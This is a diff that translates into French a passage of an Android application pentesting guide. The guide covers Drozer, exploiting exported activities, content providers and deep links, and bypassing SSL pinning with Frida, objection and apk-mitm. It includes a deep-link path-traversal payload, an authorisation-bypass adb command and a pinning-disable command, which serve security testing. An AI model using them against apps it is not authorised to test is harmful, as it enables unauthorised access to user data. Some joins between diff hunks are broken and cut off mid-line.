**rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability. +Avec cette connaissance, **mariana-trench examinera le code et trouvera les vulnérabilités possibles**. -With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**. +### Fuites de secrets -### Secrets leaked +Une application peut contenir des secrets (clés API, mots de passe, URL cachées, sous-domaines...) à l'intérieur que vous pourriez être en mesure de découvrir. Vous pouvez utiliser un outil tel que [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) -An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) - -### Bypass Biometric Authentication +### Contourner l'authentification biométrique {% content-ref url="bypass-biometric-authentication-android.md" %} [bypass-biometric-authentication-android.md](bypass-biometric-authentication-android.md) {% endcontent-ref %} -### Other interesting functions +### Autres fonctions intéressantes -* **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()` -* **Send SMSs**: `sendTextMessage, sendMultipartTestMessage` -* **Native functions** declared as `native`: `public native, System.loadLibrary, System.load` - * [Read this to learn **how to reverse native functions**](reversing-native-libraries.md) +* **Exécution de code**: `Runtime.exec(), ProcessBuilder(), code natif:system()` +* **Envoyer des SMS**: `sendTextMessage, sendMultipartTestMessage` +* **Fonctions natives** déclarées comme `native`: `public native, System.loadLibrary, System.load` + * [Lisez ceci pour apprendre **comment inverser les fonctions natives**](reversing-native-libraries.md) -### **Other tricks** +### **Autres astuces** {% content-ref url="content-protocol.md" %} [content-protocol.md](content-protocol.md) @@ -249,320 +239,212 @@ An application may contain secrets (API keys, passwords, hidden urls, subdomains
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**Suivez HackenProof**](https://bit.ly/3xrrDrL) **pour en savoir plus sur les bugs web3** -🐞 Read web3 bug tutorials +🐞 Lire les tutoriels de bugs web3 -🔔 Get notified about new bug bounties +🔔 Recevoir des notifications sur les nouveaux programmes de primes pour bugs -💬 Participate in community discussions +💬 Participer aux discussions de la communauté -## Dynamic Analysis +## Analyse dynamique -> First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended. +> Tout d'abord, vous avez besoin d'un environnement où vous pouvez installer l'application et tout l'environnement (certificat Burp CA, Drozer et Frida principalement). Par conséquent, un appareil enraciné (émulé ou non) est extrêmement recommandé. -### Online Dynamic analysis +### Analyse dynamique en ligne -You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving. +Vous pouvez créer un **compte gratuit** sur: [https://appetize.io/](https://appetize.io). Cette plateforme vous permet de **télécharger** et **exécuter** des APK, il est donc utile de voir comment un APK se comporte. -You can even **see the logs of your application** in the web and connect through **adb**. +Vous pouvez même **voir les journaux de votre application** sur le web et vous connecter via **adb**. ![](<../../.gitbook/assets/image (60).png>) -Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators. +Grâce à la connexion ADB, vous pouvez utiliser **Drozer** et **Frida** à l'intérieur des émulateurs. -### Local Dynamic Analysis +### Analyse dynamique locale -You can use some **emulator** like: +Vous pouvez utiliser un **émulateur** comme: -* [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator). - * If you want to try to **install** an **image** and then you want to **delete it** you can do that on Windows:`C:\Users\\AppData\Local\Android\sdk\system-images\` or Mac: `/Users/myeongsic/Library/Android/sdk/system-image` - * This is the **main emulator I recommend to use and you can**[ **learn to set it up in this page**](avd-android-virtual-device.md). -* [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._) -* [Nox](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer). +* [**Android Studio**](https://developer.android.com/studio) (Vous pouvez créer des appareils **x86** et **arm**, et selon [**ceci** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**les dernières versions x86** **supportent les bibliothèques ARM** sans avoir besoin d'un émulateur ARM lent). + * Si vous voulez essayer d'**installer** une **image** et que vous voulez **la supprimer** ensuite, vous pouvez le faire sur Windows:`C:\Users\\AppData\Local\Android\sdk\system-images\` ou Mac: `/Users/myeongsic/Library/Android/sdk/system-image` + * C'est l'**émulateur principal que je recommande d'utiliser et vous pouvez**[ **apprendre à le configurer sur cette page**](avd-android-virtual-device.md). +* [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Version gratuite:** Personal Edition, vous devez créer un compte. _Il est recommandé de **télécharger** la version **AVEC**_ _**VirtualBox** pour éviter les erreurs potentielles._) +* [Nox](https://es.bignox.com) (Gratuit, mais ne prend pas en charge Frida ou Drozer). {% hint style="info" %} -When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible. +Lors de la création d'un nouvel émulateur sur n'importe quelle plateforme, rappelez-vous que plus l'écran est grand, plus l'émulateur sera lent. Choisissez donc des petits écrans si possible. {% endhint %} -As most people will use **Genymotion**, note this trick. To **install google services** (like AppStore) you need to click on the red marked button of the following image: +Comme la plupart des gens utiliseront **Genymotion**, notez cette astuce. Pour **installer les services Google** (comme AppStore), vous devez cliquer sur le bouton marqué en rouge de l'image suivante: ![](<../../.gitbook/assets/image (200) (1).png>) -Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools). +De plus, notez que dans la **configuration de la machine virtuelle Android dans Genymotion**, vous pouvez sélectionner le mode **Bridge Network** (ce sera utile si vous vous connectez à la machine virtuelle Android à partir d'une autre machine virtuelle avec les outils). -Or you could use a **physical** **device** (you need to activate the debugging options and it will be cool if you can root it): +Ou vous pouvez utiliser un **appareil physique** (vous devez activer les options de débogage et ce sera cool si vous pouvez le rooter): -1. **Settings**. -2. (FromAndroid 8.0) Select **System**. -3. Select **About phone**. -4. Press **Build number** 7 times. -5. Go back and you will find the **Developer options**. +1. **Paramètres**. +2. (À partir d'Android 8.0) Sélectionnez **Système**. +3. Sélectionnez **À propos du téléphone**. +4. Appuyez sur **Numéro de build** 7 fois. +5. Revenez en arrière et vous trouverez les **Options pour les développeurs**. -> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\ -> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so will will be able to **learn how the application works** while MobSF **capture** a lot of **interesting** **data** you can review later on. +> Une fois que vous avez installé l'application, la première chose à faire est de l'essayer et d'investiguer ce qu'elle fait, comment elle fonctionne et de vous familiariser avec elle.\ +> Je vous suggère de **réaliser cette analyse dynamique initiale en utilisant l'analyse dynamique MobSF + pidcat**, afin que vous puissiez **apprendre comment l'application fonctionne** pendant que MobSF **capture** beaucoup de **données intéressantes** que vous pouvez examiner plus tard. -### Unintended Data Leakage +### Fuites de données involontaires -**Logging** +**Journalisation** -Often Developers leave debugging information publicly. So any application with `READ_LOGS` permission can **access those logs** and can gain sensitive information through that.\ -While navigating through the application use [**pidcat**](https://github.com/JakeWharton/pidcat)_(Recommended, it's easier to use and read_) or [adb logcat](adb-commands.md#logcat) to read the created logs and **look for sensitive information**. +Souvent, les développeurs laissent des informations de débogage publiques. Ainsi, toute application avec l'autorisation `READ_LOGS` peut **accéder à ces journaux** et peut obtenir des informations sensibles à travers cela.\ +Lors de la navigation dans l'application, utilisez [**pidcat**](https://github.com/JakeWharton/pidcat)_(Recommandé, il est plus facile à utiliser et à lire_) ou [adb logcat](adb-commands.md#logcat) pour lire les journaux créés et **rechercher des informations sensibles**. {% hint style="warning" %} -Note that from l**ater versions that Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\ -Anyway, it's still recommended to **not log sensitive information**. -{% endhint %} - -**Copy/Paste Buffer Caching** - -Android provides **clipboard-based** framework to provide copy-paste function in android applications. But this creates serious issue when some **other application** can **access** the **clipboard** which contain some sensitive data. **Copy/Paste** function should be **disabled** for **sensitive part** of the application. For example, disable copying credit card details. - -**Crash Logs** - -If an application **crashes** during runtime and it **saves logs** somewhere then those logs can be of help to an attacker especially in cases when android application cannot be reverse engineered. Then, avoid creating logs when applications crashes and if logs are sent over the network then ensure that they are sent over an SSL channel.\ -As pentester, **try to take a look to these logs**. - -**Analytics Data Sent To 3rd Parties** - -Most of the application uses other services in their application like Google Adsense but sometimes they **leak some sensitive data** or the data which is not required to sent to that service. This may happen because of the developer not implementing feature properly. You can **look by intercepting the traffic** of the application and see whether any sensitive data is sent to 3rd parties or not. - -### SQLite DBs - -Most of the applications will use **internal SQLite databases** to save information. During the pentest take a **look** to the **databases** created, the names of **tables** and **columns** and all the **data** saved because you could find **sensitive information** (which would be a vulnerability).\ -Databases should be located in `/data/data/the.package.name/databases` like `/data/data/com.mwr.example.sieve/databases` - -If the database is saving confidential information and is **encrypted b**ut you can **find** the **password** inside the application it's still a **vulnerability**. - -Enumerate the tables using `.tables` and enumerate the columns of the tables doing `.schema ` - -### Drozer (Exploit Activities, Content Providers and Services) - -**Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. From [Drozer Guide](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf).\ -Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections. - -### Exploiting exported Activities - -[**Read this if you want to remind what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -Also remember that the code of an activity starts with the `onCreate` method. - -**Authorisation bypass** - -When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.**\ -[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/#activities) - -You can also start an exported activity from adb: - -* PackageName is com.example.demo -* Exported ActivityName is com.example.test.MainActivity - +Notez que depuis les versions ultérieures à Android 4.0, **les applications ne peuvent accéder qu'à leurs propres journaux**. ``` adb shell am start -n com.example.demo/com.example.test.MainActivity ``` - -**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21). +**REMARQUE**: MobSF détectera comme malveillante l'utilisation de _**singleTask/singleInstance**_ en tant que `android:launchMode` dans une activité, mais en raison de [ceci](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), cela ne serait apparemment dangereux que sur les anciennes versions (versions API < 21). {% hint style="info" %} -Note that an authorisation bypass is not always a vulnerability, it would depend on how the bypass works and which information is exposed. +Notez qu'une violation d'autorisation n'est pas toujours une vulnérabilité, cela dépendrait de la façon dont la violation fonctionne et des informations exposées. {% endhint %} -**Sensitive information leakage** +**Fuite d'informations sensibles** -**Activities can also return results**. If you manage to find an exported and unprotected activity calling the **`setResult`** method and **returning sensitive information**, there is a sensitive information leakage. +**Les activités peuvent également renvoyer des résultats**. Si vous parvenez à trouver une activité exportée et non protégée appelant la méthode **`setResult`** et **renvoyant des informations sensibles**, il y a une fuite d'informations sensibles. -### Exploiting Content Providers - Accessing and manipulating sensitive information +### Exploitation des fournisseurs de contenu - Accès et manipulation d'informations sensibles -[**Read this if you want to remind what is a Content Provider.**](android-applications-basics.md#content-provider)\ -Content providers are basically used to **share data**. If an app has available content providers you may be able to **extract sensitive** data from them. It also interesting to test possible **SQL injections** and **Path Traversals** as they could be vulnerable.\ -[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/#content-providers) +[**Lisez ceci si vous voulez vous rappeler ce qu'est un fournisseur de contenu.**](android-applications-basics.md#content-provider)\ +Les fournisseurs de contenu sont essentiellement utilisés pour **partager des données**. Si une application dispose de fournisseurs de contenu disponibles, vous pourrez peut-être **extraire des données sensibles** à partir de ceux-ci. Il est également intéressant de tester les **injections SQL** et les **traversées de chemin** possibles car ils pourraient être vulnérables.\ +[**Apprenez à exploiter les fournisseurs de contenu avec Drozer.**](drozer-tutorial/#content-providers) -### **Exploiting Services** +### **Exploitation des services** -[**Read this if you want to remind what is a Service.**](android-applications-basics.md#services)\ -Remember that a the actions of a Service start in the method `onStartCommand`. +[**Lisez ceci si vous voulez vous rappeler ce qu'est un service.**](android-applications-basics.md#services)\ +Rappelez-vous que les actions d'un service commencent dans la méthode `onStartCommand`. -As service is basically something that **can receive data**, **process** it and **returns** (or not) a response. Then, if an application is exporting some services you should **check** the **code** to understand what is it doing and **test** it **dynamically** for extracting confidential info, bypassing authentication measures...\ -[**Learn how to exploit Services with Drozer.**](drozer-tutorial/#services) +Un service est essentiellement quelque chose qui **peut recevoir des données**, les **traiter** et **renvoyer** (ou non) une réponse. Ensuite, si une application exporte certains services, vous devez **vérifier** le **code** pour comprendre ce qu'il fait et le **tester** **dynamiquement** pour extraire des informations confidentielles, contourner les mesures d'authentification...\ +[**Apprenez à exploiter les services avec Drozer.**](drozer-tutorial/#services) -### **Exploiting Broadcast Receivers** +### **Exploitation des récepteurs de diffusion** -[**Read this if you want to remind what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ -Remember that a the actions of a Broadcast Receiver start in the method `onReceive`. +[**Lisez ceci si vous voulez vous rappeler ce qu'est un récepteur de diffusion.**](android-applications-basics.md#broadcast-receivers)\ +Rappelez-vous que les actions d'un récepteur de diffusion commencent dans la méthode `onReceive`. -A broadcast receiver will be waiting for a type of message. Depending on ho the receiver handles the message it could be vulnerable.\ -[**Learn how to exploit Broadcast Receivers with Drozer.**](./#exploiting-broadcast-receivers) +Un récepteur de diffusion attendra un type de message. Selon la manière dont le récepteur gère le message, il pourrait être vulnérable.\ +[**Apprenez à exploiter les récepteurs de diffusion avec Drozer.**](./#exploiting-broadcast-receivers) -### **Exploiting Schemes / Deep links** - -You can look for deep links manually, using tools like MobSF or scripts like [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ -You can **open** a declared **scheme** using **adb** or a **browser**: +### **Exploitation des schémas / liens profonds** +Vous pouvez rechercher des liens profonds manuellement, en utilisant des outils comme MobSF ou des scripts comme [celui-ci](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ +Vous pouvez **ouvrir** un **schéma** déclaré en utilisant **adb** ou un **navigateur** : ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` - -_Note that you can **omit the package name** and the mobile will automatically call the app that should open that link._ - +_Notez que vous pouvez **omettre le nom du package** et le mobile appellera automatiquement l'application qui devrait ouvrir ce lien._ ```markup Click me with alternative ``` +**Code exécuté** -**Code executed** - -In order to find the **code that will be executed in the App**, go to the activity called by the deeplink and search the function **`onNewIntent`**. +Pour trouver le **code qui sera exécuté dans l'application**, allez dans l'activité appelée par le lien profond et recherchez la fonction **`onNewIntent`**. ![](<../../.gitbook/assets/image (436) (1) (1) (1).png>) -**Sensitive info** +**Informations sensibles** -Every time you find a deep link check that i**t's not receiving sensitive data (like passwords) via URL parameters**, because any other application could **impersonate the deep link and steal that data!** +Chaque fois que vous trouvez un lien profond, vérifiez qu'il ne reçoit pas de données sensibles (comme des mots de passe) via des paramètres d'URL, car toute autre application pourrait **usurper le lien profond et voler ces données !** -**Parameters in path** +**Paramètres dans le chemin** -You **must check also if any deep link is using a parameter inside the path** of the URL like: `https://api.example.com/v1/users/{username}` , in that case you can force a path traversal accessing something like: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ -Note that if you find the correct endpoints inside the application you may be able to cause a **Open Redirect** (if part of the path is used as domain name), **account takeover** (if you can modify users details without CSRF token and the vuln endpoint used the correct method) and any other vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/). +Vous **devez également vérifier si un lien profond utilise un paramètre à l'intérieur du chemin** de l'URL comme : `https://api.example.com/v1/users/{username}`, dans ce cas, vous pouvez forcer une traversée de chemin en accédant à quelque chose comme : `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\ +Notez que si vous trouvez les points d'extrémité corrects à l'intérieur de l'application, vous pourriez être en mesure de causer une **redirection ouverte** (si une partie du chemin est utilisée comme nom de domaine), une **prise de contrôle de compte** (si vous pouvez modifier les détails des utilisateurs sans jeton CSRF et que le point d'extrémité vulnérable utilise la méthode correcte) et toute autre vulnérabilité. Plus d'informations à ce sujet [ici](http://dphoeniixx.com/2020/12/13-2/). -**More examples** +**Plus d'exemples** -An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_). +Un [rapport de prime de bug intéressant](https://hackerone.com/reports/855618) sur les liens (_/.well-known/assetlinks.json_). -### Insufficient Transport Layer Protection +### Protection insuffisante de la couche de transport -* **Lack of Certificate Inspection:** Android Application fails to verify the identity of the certificate presented to it. Most of the application ignore the warnings and accept any self-signed certificate presented. Some Application instead pass the traffic through an HTTP connection. -* **Weak Handshake Negotiation:** Application and server perform an SSL/TLS handshake but use an insecure cipher suite which is vulnerable to MITM attacks. So any attacker can easily decrypt that connection. -* **Privacy Information Leakage:** Most of the times it happens that Applications do authentication through a secure channel but rest all connection through non-secure channel. That doesn’t add to security of application because rest sensitive data like session cookie or user data can be intercepted by an malicious user. +* **Manque d'inspection de certificat :** L'application Android ne vérifie pas l'identité du certificat qui lui est présenté. La plupart des applications ignorent les avertissements et acceptent tout certificat auto-signé présenté. Certaines applications passent plutôt le trafic par une connexion HTTP. +* **Négociation de poignée de main faible :** L'application et le serveur effectuent une poignée de main SSL/TLS mais utilisent une suite de chiffrement non sécurisée qui est vulnérable aux attaques MITM. Ainsi, tout attaquant peut facilement décrypter cette connexion. +* **Fuite d'informations de confidentialité :** La plupart du temps, il arrive que les applications effectuent une authentification via un canal sécurisé mais que toutes les autres connexions se fassent via un canal non sécurisé. Cela n'ajoute pas de sécurité à l'application car les données sensibles restantes telles que le cookie de session ou les données utilisateur peuvent être interceptées par un utilisateur malveillant. -From the 3 scenarios presented we are going to discuss **how to verify the identity of the certificate**. The other 2 scenarios depends on the **TLS configuratio**n of the server and if the **application sends unencrypted data**. The pentester should check by it's own the TLS configuration of the server ([here](../../network-services-pentesting/pentesting-web/#ssl-tls-vulnerabilites)) and detect if any **confidential information is sent by an unencrypted/vulnerable** channel .\ -More information about how to discover and fix these kind of vulnerabilities [**here**](https://manifestsecurity.com/android-application-security-part-10/). +Des 3 scénarios présentés, nous allons discuter de **comment vérifier l'identité du certificat**. Les 2 autres scénarios dépendent de la **configuration TLS** du serveur et si l'**application envoie des données non chiffrées**. Le testeur de pénétration doit vérifier par lui-même la configuration TLS du serveur ([ici](../../network-services-pentesting/pentesting-web/#ssl-tls-vulnerabilites)) et détecter si des **informations confidentielles sont envoyées par un canal non chiffré/vulnérable**.\ +Plus d'informations sur la façon de découvrir et de corriger ce type de vulnérabilités [**ici**](https://manifestsecurity.com/android-application-security-part-10/). -**SSL Pinning** +**Épinglage SSL** -By default, when making an SSL connection, the client(android app) checks that the server’s certificate has a verifiable chain of trust back to a trusted (root) certificate and matches the requested hostname. This lead to problem of **Man in the Middle Attacks(MITM)**.\ -In certificate Pinnning, an Android Application itself contains the certificate of server and only transmit data if the same certificate is presented.\ -It's recommended to **apply SSL Pinning** for the sites where sensitive information is going to be sent. +Par défaut, lorsqu'une connexion SSL est établie, le client (application Android) vérifie que le certificat du serveur a une chaîne de confiance vérifiable remontant à un certificat de confiance (racine) et correspond au nom d'hôte demandé. Cela conduit au problème des **attaques de l'homme du milieu (MITM)**.\ +Dans l'épinglage de certificat, une application Android contient elle-même le certificat du serveur et ne transmet les données que si le même certificat est présenté.\ +Il est recommandé d'**appliquer l'épinglage SSL** pour les sites où des informations sensibles vont être envoyées. -### Inspecting HTTP traffic +### Inspection du trafic HTTP -First of all, you should (must) **install the certificate** of the **proxy** tool that you are going to use, probably Burp. If you don't install the CA certificate of the proxy tool, you probably aren't going to see the encrypted traffic in the proxy.\ -**Please,** [**read this guide to learn how to do install a custom CA certificate**](android-burp-suite-settings.md)**.** +Tout d'abord, vous devez (devez) **installer le certificat** de l'**outil proxy** que vous allez utiliser, probablement Burp. Si vous n'installez pas le certificat CA de l'outil proxy, vous ne verrez probablement pas le trafic chiffré dans le proxy.\ +**S'il vous plaît,** [**lisez ce guide pour apprendre comment installer un certificat CA personnalisé**](android-burp-suite-settings.md)**.** -For applications targeting **API Level 24+ it isn't enough to install the Burp CA** certificate in the device. To bypass this new protection you need to modify the Network Security Config file. So, you could modify this file to authorise your CA certificate or you can [**read this page for a tutorial on how to force the application to accept again all the installed certificate sin the device**](make-apk-accept-ca-certificate.md). +Pour les applications ciblant **API Level 24+ il ne suffit pas d'installer le certificat Burp** sur l'appareil. Pour contourner cette nouvelle protection, vous devez modifier le fichier de configuration de sécurité réseau. Ainsi, vous pouvez modifier ce fichier pour autoriser votre certificat CA ou vous pouvez [**lire cette page pour un tutoriel sur la façon de forcer l'application à accepter à nouveau tous les certificats installés sur l'appareil**](make-apk-accept-ca-certificate.md). -**SSL Pinning** +**Épinglage SSL** -We have already discuss what is SSL Pinning just 2 paragraphs before. When it's implemented in an application you will need to bypass it to inspect the HTTPS traffic or you won't see it.\ -Here I'm going to present a few options I've used to bypass this protection: - -* Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). The best pro of this option, is that you won't need root to bypass the SSL Pinning, but you will need to delete the application and reinstall the new one, and this won't always work. -* You could use **Frida** (discussed below) to bypass this protection. Here you have a guide to use Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -* You can also try to **automatically bypass SSL Pinning** using [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -* You can also try to **automatically bypass SSL Pinning** using **MobSF dynamic analysis** (explained below) -* If you still think that there is some traffic that you aren't capturing you can try to **forward the traffic to burp using iptables**. Read this blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) - -**Common Web vulnerabilities** - -Note that in this step you should look for common web vulnerabilities. A lot of information about web vulnerabilities be found in this book so I'm not going to mention them here. - -### Frida - -Dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers. Learn more at [www.frida.re](https://www.frida.re).\ -**It's amazing, you can access running application and hook methods on run time to change the behaviour, change values, extract values, run different code...**\ -**If you want to pentest Android applications you need to know how to use Frida.** - -**Learn how to use Frida:** [**Frida tutorial**](frida-tutorial/)\ -**Some "GUI" for actions with Frida:** [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)\ -**Some other abstractions based on Frida:** [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)\ -**You can find some Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re) - -### **Android Application Analyzer** - -This tool could help you managing different tools during the dynamic analysis: [https://github.com/NotSoSecure/android\_application\_analyzer](https://github.com/NotSoSecure/android\_application\_analyzer) - -### Intent Injection - -This vulnerability resembles **Open Redirect in web security**. Since class `Intent` is `Parcelable`, **objects belonging to this class** can be **passed** as **extra** **data** in another `Intent` object.\ -Many developers make **use** of this **feature** and create **proxy** **components** (activities, broadcast receivers and services) that **take an embedded Intent and pass it to dangerous methods** like `startActivity(...)`, `sendBroadcast(...)`, etc.\ -This is dangerous because **an attacker can force the app to launch a non-exported component that cannot be launched directly from another app**, or to grant the attacker access to its content providers. **`WebView`** also sometimes changes a **URL from a string to an `Intent`** object, using the `Intent.parseUri(...)` method, and passes it to `startActivity(...)`. - -### Android Client Side Injections and others - -Probably you know about this kind of vulnerabilities from the Web. You have to be specially careful with this vulnerabilities in an Android application: - -* **SQL Injection:** When dealing with dynamic queries or Content-Providers ensure you are using parameterized queries. -* **JavaScript Injection (XSS):** Verify that JavaScript and Plugin support is disabled for any WebViews (disabled by default). [More info here](webview-attacks.md#javascript-enabled). -* **Local File Inclusion:** Verify that File System Access is disabled for any WebViews (enabled by default) `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). -* **Eternal cookies**: In several cases when the android application finish the session the cookie isn't revoked or it could be even saved to disk -* [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/#cookies-flags) - -
- -[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** - -🐞 Read web3 bug tutorials - -🔔 Get notified about new bug bounties - -💬 Participate in community discussions - -## Automatic Analysis - -### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) - -**Static analysis** - -![](<../../.gitbook/assets/image (61).png>) - -**Vulnerability assessment of the application** using a nice web-based frontend. You can also perform dynamic analysis (but you need to prepare the environment). +Nous avons déjà discuté de ce qu'est l'épinglage SSL juste 2 paragraphes avant. Lorsqu'il est implémenté dans une application, vous devrez le contourner pour inspecter le trafic HTTPS ou vous ne le verrez pas.\ +Ici, je vais présenter quelques options que j'ai utilisées pour contourner cette protection : +* **Modifier automatiquement** l'**apk** pour **contourner** l'**épinglage SSL** avec [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Le meilleur avantage de cette option est que vous n'aurez pas besoin de root pour contourner l'épinglage SSL, mais vous devrez supprimer l'application et réinstaller la nouvelle, et cela ne fonctionnera pas toujours. +* Vous pouvez utiliser **Frida** (discuté ci-dessous) pour contourner cette protection. Voici un guide pour utiliser Burp+Frida+Genymotion : [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +* Vous pouvez également essayer de **contourner automatiquement l'épinglage SSL** en utilisant [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +* Vous pouvez également essayer de **contourner automatiquement l'épinglage SSL** en utilisant **MobSF dynamic analysis** (expliqué ci-dessous) +* Si vous pensez toujours qu'il y a du trafic que vous ne capturez pas, vous pouvez essayer de **rediriger le trafic vers burp en utilisant iptables**. Lisez ce blog : [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with ``` docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest ``` +Notez que MobSF peut analyser les applications **Android** (apk), **IOS** (ipa) et **Windows** (apx) (_les applications Windows doivent être analysées à partir d'un MobSF installé sur un hôte Windows_).\ +De plus, si vous créez un fichier **ZIP** avec le code source d'une application **Android** ou **IOS** (allez dans le dossier racine de l'application, sélectionnez tout et créez un fichier ZIP), il sera également possible de l'analyser. -Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\ -Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), it will be able to analyse it also. +MobSF vous permet également de **comparer/différencier** les analyses et d'intégrer **VirusTotal** (vous devrez définir votre clé API dans _MobSF/settings.py_ et l'activer : `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Vous pouvez également définir `VT_UPLOAD` sur `False`, alors le **hash** sera **téléchargé** au lieu du fichier. -MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file. +### Analyse dynamique assistée avec MobSF -### Assisted Dynamic analysis with MobSF +**MobSF** peut également être très utile pour l'**analyse dynamique** sur **Android**, mais dans ce cas, vous devrez installer MobSF et **genymotion** sur votre hôte (une VM ou Docker ne fonctionnera pas). _Note : Vous devez **d'abord démarrer une VM dans genymotion** et **ensuite MobSF.**_\ +L'analyseur dynamique de **MobSF** peut : -**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ -The **MobSF dynamic analyser** can: +* **Extraire les données de l'application** (URL, logs, presse-papiers, captures d'écran réalisées par vous, captures d'écran réalisées par "**Exported Activity Tester**", e-mails, bases de données SQLite, fichiers XML et autres fichiers créés). Tout cela est fait automatiquement sauf pour les captures d'écran, vous devez appuyer lorsque vous voulez une capture d'écran ou vous devez appuyer sur "**Exported Activity Tester**" pour obtenir des captures d'écran de toutes les activités exportées. +* Capturer le **trafic HTTPS** +* Utiliser **Frida** pour obtenir des **informations d'exécution** -* **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities. -* Capture **HTTPS traffic** -* Use **Frida** to obtain **runtime** **information** - -From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application. 